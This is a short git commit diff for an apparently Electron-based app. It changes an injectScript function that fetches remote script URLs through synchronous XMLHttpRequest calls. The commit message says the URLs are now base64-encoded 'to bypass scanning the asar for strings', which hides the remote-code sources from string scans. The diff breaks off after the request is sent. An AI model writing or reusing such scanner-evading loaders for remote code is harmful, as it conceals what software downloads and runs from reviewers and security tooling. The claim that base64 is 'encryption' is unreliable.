use base64 encryption

to bypass scanning the asar for strings
This commit is contained in:
David Reed
2023-07-03 00:35:57 +02:00
parent eab5408756
commit 3d299d69be

View File

@@ -77,8 +77,8 @@ export async function injectScript(
value + "\n//# sourceURL=injected"
)}) } catch (err) { console.error(err) }`
: `for (const src of ${JSON.stringify(
value.split(",").map((val) => val.trim())
)}) try {` +
value.split(",").map((val) => btoa(val.trim()))
)}.map(e => atob(e))) try {` +
"const http = new XMLHttpRequest();" +
'http.open("GET", src, false);' +
"http.send();" +